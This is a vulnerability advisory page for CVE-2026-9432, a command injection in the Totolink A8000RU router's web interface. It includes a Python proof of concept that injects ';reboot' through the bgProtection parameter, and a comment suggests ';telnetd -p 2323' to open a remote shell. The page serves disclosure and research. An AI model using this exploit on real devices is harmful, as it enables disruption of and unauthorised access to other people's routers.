Security Vulnerability Report
中文
CVE-2026-9432 CVSS 9.8 CRITICAL

CVE-2026-9432

Published: 2026-05-25 07:16:18
Last Modified: 2026-05-25 07:16:18

Description

A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setWiFiAdvancedCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. The manipulation of the argument bgProtection results in os command injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } # Payload data # The 'bgProtection' parameter is vulnerable to OS command injection. # Example payload: ;telnetd -p 2323 (starts a telnet server) data = { "function": "setWiFiAdvancedCfg", "bgProtection": ";reboot" } try: # Send POST request response = requests.post(target_url, headers=headers, data=data, timeout=10) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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